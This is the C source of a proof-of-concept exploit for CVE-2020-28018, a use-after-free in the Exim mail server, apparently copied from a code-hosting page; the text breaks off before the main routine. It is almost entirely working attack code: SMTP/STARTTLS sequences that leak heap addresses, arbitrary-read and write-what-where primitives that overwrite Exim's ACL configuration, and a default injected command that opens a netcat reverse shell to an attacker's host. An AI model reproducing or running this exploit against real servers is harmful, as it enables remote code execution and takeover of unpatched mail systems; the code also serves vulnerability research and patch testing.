963 lines
23 KiB
C
963 lines
23 KiB
C
/*
|
|
|
|
CVE-2020-28018 PoC: Exim Use-After-Free leading to Remote Code Execution
|
|
|
|
- @lockedbyte -
|
|
|
|
For more information on this exploit visit: https://adepts.of0x.cc/exim-cve-2020-28018/
|
|
You can visit the official Qualys advisory here: https://www.qualys.com/2021/05/04/21nails/21nails.txt
|
|
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <errno.h>
|
|
#include <unistd.h>
|
|
#include <malloc.h>
|
|
#include <string.h>
|
|
#include <time.h>
|
|
#include <sys/socket.h>
|
|
#include <resolv.h>
|
|
#include <netdb.h>
|
|
#include <openssl/ssl.h>
|
|
#include <openssl/err.h>
|
|
|
|
/*
|
|
You may need to change this config for this exploit to work
|
|
on your specific version of exim, config, libc used etc
|
|
*/
|
|
|
|
/* -- START EXP CONFIG -- */
|
|
|
|
#define PIPLN_ITER 0x9 /* PIPLN_ITER fill for leak phase */
|
|
#define POST_PIPLN_ITER 0x2 /* POST_PIPLN_ITER fill for leak phase */
|
|
#define BASE_OFF 0x8fcb0-0x30//0x8fd90 /* offset from your leak to heap base */
|
|
#define STRCT_OV_PAD 0x8 /* padding for struct overwrite (alignment for struct overwrite) */
|
|
#define PRE_FILL_OV 0x3 /* pre-fill for struct overwrite */
|
|
#define POST_JUNK_ALIGN 0x708 /* POST_JUNK_ALIGN fill for struct overwrite */
|
|
#define SEND_SZ_OV 0x200 /* bytes to send so SEND_SZ_OV*DATA_X_ITER makes header max err happen */
|
|
#define DATA_X_ITER 0x800 /* number of times to send MSG to reach header max err */
|
|
#define EHLO_PAD 0x16e /* EHLO pad for heap requests */
|
|
#define CFG_QUERY "acl_check_mail" /* ACL used for MAIL FROM checking */
|
|
|
|
/* -- END EXP CONFIG */
|
|
|
|
/* -- START EXP SETTINGS -- */
|
|
|
|
unsigned int output_level = 0;
|
|
unsigned int pause_s = 1;
|
|
unsigned int escalate = 0;
|
|
|
|
#define DEBUG 0
|
|
#define DELAY_TIME 0.5 /* if connection is giving problems, increase this value */
|
|
|
|
/*-- END EXP SETTINGS -- */
|
|
|
|
|
|
#ifndef INJECT_CFG /* you can change the command here to another one, by default a netcat reverse shell to the specified host and port is executed */
|
|
#define INJECT_CFG "acl_check_mail:(condition = ${run{/bin/sh -c 'nc -e/bin/sh %s %d'}})"
|
|
#endif
|
|
|
|
#ifndef FAIL
|
|
#define FAIL -1
|
|
#endif
|
|
|
|
#ifndef HEXDUMP_COLS
|
|
#define HEXDUMP_COLS 16
|
|
#endif
|
|
|
|
#ifndef MAX_HOST
|
|
#define MAX_HOST 4096
|
|
#endif
|
|
|
|
#ifndef MAX_CONFIG_SZ
|
|
#define MAX_CONFIG_SZ 1024
|
|
#endif
|
|
|
|
#ifndef MAX_PIPLN_SZ
|
|
#define MAX_PIPLN_SZ 1024*1024
|
|
#endif
|
|
|
|
#ifndef MAX_STRUCT_OVERWRITE_SZ
|
|
#define MAX_STRUCT_OVERWRITE_SZ 1024*1024 + 500
|
|
#endif
|
|
|
|
#ifndef ADDR_ANY_X
|
|
#define ADDR_ANY_X "0.0.0.0"
|
|
#endif
|
|
|
|
#ifndef MAX_POST_PIPLN_SZ
|
|
#define MAX_POST_PIPLN_SZ 1024*1024
|
|
#endif
|
|
|
|
#ifndef HEAP_RANGE_OFF
|
|
#define HEAP_RANGE_OFF 0x100000 /* heap range where to search for config from heap base */
|
|
#endif
|
|
|
|
enum CONN_T {CLEARTEXT_T, TLS_T};
|
|
|
|
SSL_CTX *ctx = NULL;
|
|
|
|
unsigned int leak_flg = 0; /* are we leaking something on this data exchange? */
|
|
unsigned int data_flg = 0; /* is there data to show through hexdump? */
|
|
unsigned int found_flg = 0; /* is the config address found? */
|
|
unsigned int mem_flg = 0; /* is the memory we are sending binary data? or string? */
|
|
|
|
unsigned long READ_SZ = 0x1000; /* default read size to receive on arbitrary read */
|
|
|
|
unsigned long heap_base = NULL; /* we will save here heap base address when leaked */
|
|
unsigned long curr_heap = NULL; /* curr heap for config search */
|
|
unsigned long config_addr = NULL; /* when finding config address, we will save it here */
|
|
|
|
char *mem_exfil = NULL; /* used for exfiltrating memory */
|
|
|
|
/* --- START COMMANDS --- */
|
|
|
|
#define EHLO_CMD "EHLO pwner\n" /* EHLO msg */
|
|
#define STARTTLS_CMD "STARTTLS\n" /* command to start a TLS connection */
|
|
#define PIPLN_01_CMD_X "MAIL FROM: <>\nNO" /* MAIL FROM + pipeline first half NOOP */
|
|
#define PIPLN_02_CMD "OP\n" /* rest of NOOP */
|
|
|
|
/* --- END COMMANDS --- */
|
|
|
|
|
|
/* --- START CONN-RELATED FUNCTIONS --- */
|
|
|
|
/* connect to target server */
|
|
|
|
int remote_conn(const char *hostname, int port) {
|
|
int sd = 0;
|
|
struct hostent *host = NULL;
|
|
struct sockaddr_in addr;
|
|
if((host = gethostbyname(hostname)) == NULL) {
|
|
puts("[-] Something went wrong resolving target hostname");
|
|
exit(1);
|
|
}
|
|
sd = socket(PF_INET, SOCK_STREAM, 0);
|
|
bzero(&addr, sizeof(addr));
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = htons(port);
|
|
addr.sin_addr.s_addr = *(long*)(host->h_addr);
|
|
if(connect(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
|
|
close(sd);
|
|
puts("[-] Something went wrong connecting to target");
|
|
exit(1);
|
|
}
|
|
return sd;
|
|
}
|
|
|
|
/* OpenSSL's init CTX */
|
|
|
|
SSL_CTX *init_ctx_x(void) {
|
|
SSL_METHOD *method = NULL;
|
|
SSL_CTX *ctx = NULL;
|
|
OpenSSL_add_all_algorithms();
|
|
SSL_load_error_strings();
|
|
method = TLSv1_2_client_method();
|
|
ctx = SSL_CTX_new(method);
|
|
if (ctx == NULL) {
|
|
puts("[-] Something went wrong in init_ctx_x()");
|
|
exit(1);
|
|
}
|
|
return ctx;
|
|
}
|
|
|
|
/* initialize encrypted connection channel */
|
|
|
|
SSL *initialize_enc_channel(int fd) {
|
|
SSL *ssl = NULL;
|
|
SSL_library_init();
|
|
ctx = init_ctx_x();
|
|
ssl = SSL_new(ctx);
|
|
SSL_set_fd(ssl, fd);
|
|
if(SSL_connect(ssl) == FAIL) {
|
|
puts("[-] Something went wrong initializing encrypted channel");
|
|
return NULL;
|
|
}
|
|
return ssl;
|
|
}
|
|
|
|
/* show server TLS certificates */
|
|
|
|
void show_certs(SSL* ssl) {
|
|
X509 *cert = NULL;
|
|
char *line = NULL;
|
|
|
|
cert = SSL_get_peer_certificate(ssl);
|
|
|
|
if (cert != NULL) {
|
|
printf("[+] Server certificates:\n");
|
|
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
|
|
printf("\t[i] Subject: %s\n", line);
|
|
if(line)
|
|
free(line);
|
|
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
|
|
printf("\t[i] Issuer: %s\n", line);
|
|
if(line) {
|
|
free(line);
|
|
line = NULL;
|
|
}
|
|
if(cert) {
|
|
X509_free(cert);
|
|
cert = NULL;
|
|
}
|
|
} else
|
|
puts("[i] No client certificates configured");
|
|
|
|
return;
|
|
}
|
|
|
|
/* close TLS session */
|
|
|
|
void close_tls_channel(SSL *ssl) {
|
|
SSL_shutdown(ssl);
|
|
SSL_free(ssl);
|
|
return;
|
|
}
|
|
|
|
|
|
/* send data to server */
|
|
|
|
int send_data(long fd, char *buf, size_t size, int method_t) {
|
|
int ret = 0;
|
|
switch(method_t) {
|
|
case CLEARTEXT_T:
|
|
ret = write(fd, buf, size);
|
|
break;
|
|
case TLS_T:
|
|
ret = SSL_write((SSL *)fd, buf, size);
|
|
break;
|
|
default:
|
|
puts("[-] Unknown error ocurred.");
|
|
exit(1);
|
|
}
|
|
return ret;
|
|
}
|
|
|
|
/* receive data from server */
|
|
|
|
int recv_data(long fd, char *buf, size_t size, int method_t) {
|
|
int ret = 0;
|
|
switch(method_t) {
|
|
case CLEARTEXT_T:
|
|
ret = read(fd, buf, size);
|
|
break;
|
|
case TLS_T:
|
|
ret = SSL_read((SSL *)fd, buf, size);
|
|
break;
|
|
default:
|
|
puts("[-] Unknown error ocurred.");
|
|
exit(1);
|
|
}
|
|
return ret;
|
|
}
|
|
|
|
/* send-receive function with different implementations */
|
|
|
|
void exchange_data(long fd, char *buf, size_t size, int send_flg, int recv_flg, int method_t) {
|
|
|
|
if(send_flg) {
|
|
#if DEBUG
|
|
printf("[DEBUG] Sending: %s\n", buf);
|
|
#endif
|
|
if(!mem_flg)
|
|
send_data(fd, buf, strlen(buf), method_t);
|
|
else
|
|
send_data(fd, buf, mem_flg, method_t);
|
|
}
|
|
|
|
sleep(DELAY_TIME);
|
|
|
|
if(recv_flg) {
|
|
if(data_flg) {
|
|
recv_data(fd, mem_exfil, READ_SZ, method_t);
|
|
} else if(mem_flg && !data_flg) {
|
|
recv_data(fd, buf, size, method_t);
|
|
} else {
|
|
recv_data(fd, buf, size, method_t);
|
|
buf[size-1] = '\0';
|
|
}
|
|
#if DEBUG
|
|
printf("%s", buf);
|
|
#endif
|
|
if(leak_flg) {
|
|
puts("\n[+] Memory leak: \n");
|
|
hexdump(buf, size/16);
|
|
puts("");
|
|
identify_leak(buf, size);
|
|
} else if(data_flg) {
|
|
#if DEBUG
|
|
puts("\n[+] Output Data: ");
|
|
hexdump(mem_exfil, size/16);
|
|
puts("");
|
|
#endif
|
|
identify_config(mem_exfil, MAX_POST_PIPLN_SZ);
|
|
}
|
|
}
|
|
|
|
sleep(DELAY_TIME);
|
|
|
|
return;
|
|
}
|
|
|
|
/* print an hexdump of the given data */
|
|
|
|
void hexdump(void *mem, unsigned int len) {
|
|
unsigned int i = 0, j = 0;
|
|
for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
|
|
if(i % HEXDUMP_COLS == 0)
|
|
printf("\t0x%06x: ", i);
|
|
if(i < len)
|
|
printf("%02x ", 0xFF & ((char*)mem)[i]);
|
|
else
|
|
printf(" ");
|
|
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
|
|
for(j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
|
|
if(j >= len)
|
|
putchar(' ');
|
|
else if(isprint(((char*)mem)[j]))
|
|
putchar(0xFF & ((char*)mem)[j]);
|
|
else
|
|
putchar('.');
|
|
}
|
|
putchar('\n');
|
|
}
|
|
}
|
|
}
|
|
|
|
/* identify data by query (CFG_QUERY) */
|
|
|
|
char *strstrx(const char *str1, size_t sz_1, const char *str2) {
|
|
int i = 0;
|
|
char *f = NULL;
|
|
while(i < sz_1) {
|
|
if(str1[i] == str2[0]) {
|
|
if(memcmp(str1+i, str2, strlen(str2)) == 0) {
|
|
f = str1+i;
|
|
break;
|
|
}
|
|
}
|
|
i++;
|
|
}
|
|
return f;
|
|
}
|
|
|
|
/* pause to use for each phase (just for debugging) */
|
|
|
|
void pausex(void) {
|
|
char buf[1];
|
|
read(0, buf, 1);
|
|
return;
|
|
}
|
|
|
|
/* reinitialize a buffer for sending-receiving */
|
|
|
|
void reinit_mem(char *buf, size_t size, const char *str) {
|
|
memset(buf, '\0', size);
|
|
if(mem_flg) {
|
|
memcpy(buf, str, mem_flg);
|
|
return;
|
|
}
|
|
strncpy(buf, str, size);
|
|
buf[size-1] = '\0';
|
|
return;
|
|
}
|
|
|
|
/* parse data to identify config using CFG_QUERY */
|
|
|
|
void identify_config(char *buf, size_t size) {
|
|
char *f = NULL;
|
|
unsigned long r_ptr = NULL;
|
|
buf[size-1] = '\0';
|
|
f = strstrx(buf, size, CFG_QUERY);
|
|
if(f) {
|
|
found_flg = 1;
|
|
r_ptr = curr_heap+(f-buf);
|
|
config_addr = r_ptr;
|
|
}
|
|
return;
|
|
}
|
|
|
|
/* parse leak to identify heap pointers on data dump */
|
|
|
|
void identify_leak(char *buf, size_t size) {
|
|
int i = 0, x = 0;
|
|
uint64_t *leak = NULL;
|
|
int addr_idx = 0;
|
|
char lk[sizeof(uint64_t)];
|
|
|
|
memset(lk, '\0', sizeof(lk));
|
|
|
|
while(i < size) {
|
|
if(buf[i++] == 0x55) {
|
|
addr_idx = i+2;
|
|
break;
|
|
}
|
|
}
|
|
|
|
x = 0;
|
|
while(x < sizeof(uint64_t)) {
|
|
lk[x++] = buf[(addr_idx++)-8];
|
|
}
|
|
|
|
leak = &lk;
|
|
heap_base = *leak - BASE_OFF;
|
|
|
|
printf("\t[+] Leaked heap address = 0x%lx\n", *leak);
|
|
printf("\t[+] Leaked heap_base = 0x%lx\n\n", heap_base);
|
|
|
|
return;
|
|
}
|
|
|
|
/* info leak */
|
|
|
|
int leak_phase(char *hostname, int port) {
|
|
|
|
long fd = 0;
|
|
int count = 0;
|
|
int i = 0, x = 0;
|
|
SSL *ssl = NULL;
|
|
char *PIPLN_01_CMD = NULL;
|
|
char *POST_PIPLN = NULL;
|
|
char buf[4096];
|
|
|
|
memset(buf, '\0', sizeof(buf));
|
|
|
|
PIPLN_01_CMD = calloc(MAX_PIPLN_SZ, sizeof(char));
|
|
POST_PIPLN = calloc(MAX_POST_PIPLN_SZ, sizeof(char));
|
|
|
|
if(output_level)
|
|
printf("[+] Connecting to %s:%d\n", hostname, port);
|
|
|
|
fd = remote_conn(hostname, port);
|
|
|
|
exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);
|
|
|
|
if(output_level)
|
|
puts("[*] Sending EHLO...");
|
|
|
|
reinit_mem(buf, sizeof(buf), "EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n");
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
if(output_level)
|
|
puts("[*] Initializing an encrypted TLS channel...");
|
|
|
|
reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
ssl = initialize_enc_channel(fd);
|
|
|
|
if(!ssl)
|
|
return;
|
|
|
|
if(output_level)
|
|
printf("[+] Initialized encrypted channel with %s:%d (%s)\n", hostname,
|
|
port,
|
|
SSL_get_cipher(ssl));
|
|
show_certs(ssl);
|
|
|
|
if(output_level)
|
|
puts("[*] Sending EHLO...");
|
|
|
|
reinit_mem(buf, sizeof(buf), "EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
|
|
if(output_level)
|
|
puts("[*] Sending pipelined command #1...");
|
|
|
|
i = 0;
|
|
while(i < PIPLN_ITER) {
|
|
strncat(PIPLN_01_CMD, "RCPT TO: postmaster\n", MAX_PIPLN_SZ-1);
|
|
i++;
|
|
}
|
|
strncat(PIPLN_01_CMD, "NO", MAX_PIPLN_SZ-1);
|
|
|
|
reinit_mem(buf, sizeof(buf), PIPLN_01_CMD);
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
|
|
|
|
if(output_level)
|
|
puts("[*] Closing TLS connection channel...");
|
|
|
|
close_tls_channel(ssl);
|
|
|
|
ssl = NULL;
|
|
|
|
if(output_level)
|
|
puts("[*] Sending pipelined command #2...");
|
|
|
|
reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
for(int j = 0 ; j < POST_PIPLN_ITER ; j++)
|
|
strncat(POST_PIPLN, "RCPT TO: root@localhost\n", MAX_POST_PIPLN_SZ-1);
|
|
|
|
reinit_mem(buf, sizeof(buf), POST_PIPLN);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
if(output_level)
|
|
puts("[*] Sending EHLO...");
|
|
|
|
reinit_mem(buf, sizeof(buf), EHLO_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
if(output_level)
|
|
puts("[*] Re-initializing an encrypted TLS channel...");
|
|
|
|
reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
ssl = initialize_enc_channel(fd);
|
|
|
|
if(!ssl)
|
|
return;
|
|
|
|
if(output_level)
|
|
printf("[+] Initialized encrypted channel with %s:%d (%s)\n", hostname,
|
|
port,
|
|
SSL_get_cipher(ssl));
|
|
|
|
if(output_level)
|
|
puts("[*] Triggering Use-After-Free...");
|
|
|
|
leak_flg = 1;
|
|
|
|
reinit_mem(buf, sizeof(buf), "NOOP\r\n");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
|
|
leak_flg = 0;
|
|
|
|
if(PIPLN_01_CMD) {
|
|
free(PIPLN_01_CMD);
|
|
PIPLN_01_CMD = NULL;
|
|
}
|
|
|
|
if(POST_PIPLN) {
|
|
free(POST_PIPLN);
|
|
POST_PIPLN = NULL;
|
|
}
|
|
|
|
if(ssl) {
|
|
SSL_free(ssl);
|
|
ssl = NULL;
|
|
}
|
|
if(ctx) {
|
|
SSL_CTX_free(ctx);
|
|
ctx = NULL;
|
|
}
|
|
|
|
close(fd);
|
|
|
|
return 1;
|
|
}
|
|
|
|
/* arbitrary read primitive */
|
|
|
|
int arbitrary_read(char *hostname, int port) {
|
|
long fd = 0;
|
|
int count = 0, curr = 0;
|
|
int i = 0, x = 0, l = 0;
|
|
SSL *ssl = NULL;
|
|
char *STRUCT_OVERWRITE = NULL;
|
|
unsigned long inject_point = NULL;
|
|
char buf[4096];
|
|
char tmp_cmd[2000];
|
|
|
|
memset(buf, '\0', sizeof(buf));
|
|
memset(tmp_cmd, '\0', sizeof(tmp_cmd));
|
|
|
|
STRUCT_OVERWRITE = calloc(MAX_STRUCT_OVERWRITE_SZ, sizeof(char));
|
|
|
|
if(output_level)
|
|
printf("[+] Connecting to %s:%d\n", hostname, port);
|
|
|
|
fd = remote_conn(hostname, port);
|
|
|
|
exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), EHLO_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
ssl = initialize_enc_channel(fd);
|
|
|
|
if(!ssl)
|
|
return;
|
|
|
|
reinit_mem(buf, sizeof(buf), EHLO_CMD);
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
|
|
i = 0;
|
|
while(i < PRE_FILL_OV) {
|
|
reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\n");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
i++;
|
|
}
|
|
|
|
|
|
reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\nNO");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
|
|
|
|
close_tls_channel(ssl);
|
|
ssl = NULL;
|
|
|
|
reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
memcpy(tmp_cmd, "EHLO ", 5);
|
|
|
|
i = 0;
|
|
while(i < EHLO_PAD) {
|
|
tmp_cmd[i+5] = 0x41;
|
|
i++;
|
|
}
|
|
tmp_cmd[i+5] = 0x0a;
|
|
|
|
reinit_mem(buf, sizeof(buf), tmp_cmd);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), "MAIL FROM:<>\nRCPT TO: <postmaster>\nDATA\n");
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
x = 8; // padding
|
|
|
|
mem_flg = SEND_SZ_OV;
|
|
|
|
memcpy(STRUCT_OVERWRITE, &curr_heap, 8);
|
|
|
|
while(x < SEND_SZ_OV) {
|
|
memcpy(STRUCT_OVERWRITE+x, &READ_SZ, 4);
|
|
memcpy(STRUCT_OVERWRITE+x+4, &READ_SZ, 4);
|
|
memcpy(STRUCT_OVERWRITE+x+8, &curr_heap, 8);
|
|
x += 16;
|
|
}
|
|
|
|
x = 0;
|
|
while(x < DATA_X_ITER) {
|
|
reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
|
|
sleep(0.5);
|
|
x++;
|
|
}
|
|
|
|
mem_flg = 0;
|
|
|
|
reinit_mem(buf, sizeof(buf), "XX\n");
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), ".\n");
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
memset(tmp_cmd, '\0', sizeof(tmp_cmd));
|
|
memcpy(tmp_cmd, "MAIL FROM: <someone@somewhere> AUTH= ", 37);
|
|
|
|
i = 0;
|
|
while(i < POST_JUNK_ALIGN) {
|
|
tmp_cmd[i+37] = 0x52;
|
|
i++;
|
|
}
|
|
tmp_cmd[i+37] = 0x0a;
|
|
tmp_cmd[i+38] = 0x00;
|
|
|
|
reinit_mem(buf, sizeof(buf), tmp_cmd);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
ssl = initialize_enc_channel(fd);
|
|
|
|
if(!ssl)
|
|
return;
|
|
|
|
data_flg = 1;
|
|
|
|
memcpy(STRUCT_OVERWRITE, "MAIL FROM:<>\n", 14);
|
|
|
|
reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
|
|
data_flg = 0;
|
|
|
|
if(STRUCT_OVERWRITE) {
|
|
free(STRUCT_OVERWRITE);
|
|
STRUCT_OVERWRITE = NULL;
|
|
}
|
|
|
|
if(ssl) {
|
|
SSL_free(ssl);
|
|
ssl = NULL;
|
|
}
|
|
|
|
if(ctx) {
|
|
SSL_CTX_free(ctx);
|
|
ctx = NULL;
|
|
}
|
|
|
|
close(fd);
|
|
|
|
return 1;
|
|
}
|
|
|
|
/* implementation of a config search using leaked heap pointers + arbitrary read primitive */
|
|
|
|
int search_config(char *hostname, int port) {
|
|
int i = 0, ret = 0;
|
|
|
|
mem_exfil = calloc(HEAP_RANGE_OFF, sizeof(char));
|
|
curr_heap = heap_base;
|
|
|
|
while(i < (HEAP_RANGE_OFF/READ_SZ)) {
|
|
|
|
arbitrary_read(hostname, port);
|
|
curr_heap += READ_SZ;
|
|
printf("\t[*] ptr = 0x%lx ; sz = %ld\n", curr_heap, READ_SZ);
|
|
if(found_flg) {
|
|
printf("\n\t[+] Config found at: 0x%lx\n\n", config_addr);
|
|
ret = 1;
|
|
break;
|
|
}
|
|
i++;
|
|
}
|
|
|
|
if(mem_exfil) {
|
|
free(mem_exfil);
|
|
mem_exfil = NULL;
|
|
}
|
|
|
|
return ret;
|
|
}
|
|
|
|
/* write-what-where primitive */
|
|
|
|
int write_what_where(char *hostname, int port, char *injected_config) {
|
|
|
|
long fd = 0;
|
|
int count = 0;
|
|
int curr = 0;
|
|
int i = 0, x = 0, l = 0;
|
|
SSL *ssl = NULL;
|
|
char *STRUCT_OVERWRITE = NULL;
|
|
unsigned long inject_point = NULL;
|
|
char buf[4096];
|
|
char inject[4096];
|
|
char tmp_cmd[2000];
|
|
|
|
memset(buf, '\0', sizeof(buf));
|
|
memset(inject, '\0', sizeof(inject));
|
|
memset(tmp_cmd, '\0', sizeof(tmp_cmd));
|
|
|
|
STRUCT_OVERWRITE = calloc(MAX_STRUCT_OVERWRITE_SZ, sizeof(char));
|
|
|
|
if(output_level)
|
|
printf("[+] Connecting to %s:%d\n", hostname, port);
|
|
|
|
fd = remote_conn(hostname, port);
|
|
|
|
exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);
|
|
|
|
|
|
|
|
reinit_mem(buf, sizeof(buf), EHLO_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
ssl = initialize_enc_channel(fd);
|
|
|
|
if(!ssl)
|
|
return;
|
|
|
|
reinit_mem(buf, sizeof(buf), EHLO_CMD);
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
|
|
i = 0;
|
|
while(i < PRE_FILL_OV) {
|
|
reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\n");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
|
|
i++;
|
|
}
|
|
|
|
reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\nNO");
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
|
|
|
|
close_tls_channel(ssl);
|
|
ssl = NULL;
|
|
|
|
reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
memcpy(tmp_cmd, "EHLO ", 5);
|
|
|
|
i = 0;
|
|
while(i < EHLO_PAD) {
|
|
tmp_cmd[i+5] = 0x41;
|
|
i++;
|
|
}
|
|
tmp_cmd[i+5] = 0x0a;
|
|
tmp_cmd[i+6] = 0x00;
|
|
|
|
reinit_mem(buf, sizeof(buf), tmp_cmd);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), "MAIL FROM:<>\nRCPT TO: <postmaster>\nDATA\n");
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
inject_point = config_addr - strlen("501 (");
|
|
printf("\t[+] inject_point = 0x%lx\n", inject_point);
|
|
|
|
x = STRCT_OV_PAD; // padding
|
|
mem_flg = SEND_SZ_OV;
|
|
memcpy(STRUCT_OVERWRITE, "BBBBBB", 6);
|
|
while(x < SEND_SZ_OV) {
|
|
memcpy(STRUCT_OVERWRITE+x, "AAAA", 4);
|
|
memcpy(STRUCT_OVERWRITE+x+4, "\x00\x00\x00\x00", 4);
|
|
memcpy(STRUCT_OVERWRITE+x+8, &inject_point, 8);
|
|
x += 16;
|
|
}
|
|
|
|
x = 0;
|
|
while(x < DATA_X_ITER) {
|
|
reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
|
|
sleep(0.5);
|
|
x++;
|
|
}
|
|
|
|
mem_flg = 0;
|
|
|
|
reinit_mem(buf, sizeof(buf), "XX\n");
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), ".\n");
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
memset(tmp_cmd, '\0', sizeof(tmp_cmd));
|
|
memcpy(tmp_cmd, "MAIL FROM: <someone@somewhere> AUTH= ", 37);
|
|
|
|
i = 0;
|
|
while(i < POST_JUNK_ALIGN) {
|
|
tmp_cmd[i+37] = 0x52;
|
|
i++;
|
|
}
|
|
tmp_cmd[i+37] = 0x0a;
|
|
tmp_cmd[i+38] = 0x00;
|
|
|
|
reinit_mem(buf, sizeof(buf), tmp_cmd);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
|
|
exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
|
|
|
|
ssl = initialize_enc_channel(fd);
|
|
|
|
if(!ssl)
|
|
return;
|
|
|
|
snprintf(inject, sizeof(inject)-1, "MAIL FROM: %s\nMAIL FROM: <>\nRCPT TO: <root@localhost>\n", injected_config);
|
|
|
|
reinit_mem(buf, sizeof(buf), inject);
|
|
exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
|
|
|
|
if(STRUCT_OVERWRITE) {
|
|
free(STRUCT_OVERWRITE);
|
|
STRUCT_OVERWRITE = NULL;
|
|
}
|
|
|
|
if(ssl) {
|
|
SSL_free(ssl);
|
|
ssl = NULL;
|
|
}
|
|
|
|
if(ctx) {
|
|
SSL_CTX_free(ctx);
|
|
ctx = NULL;
|
|
}
|
|
|
|
close(fd);
|
|
|
|
return 1;
|
|
}
|
|
|
|
/* wrapping for write_what_where() */
|
|
|
|
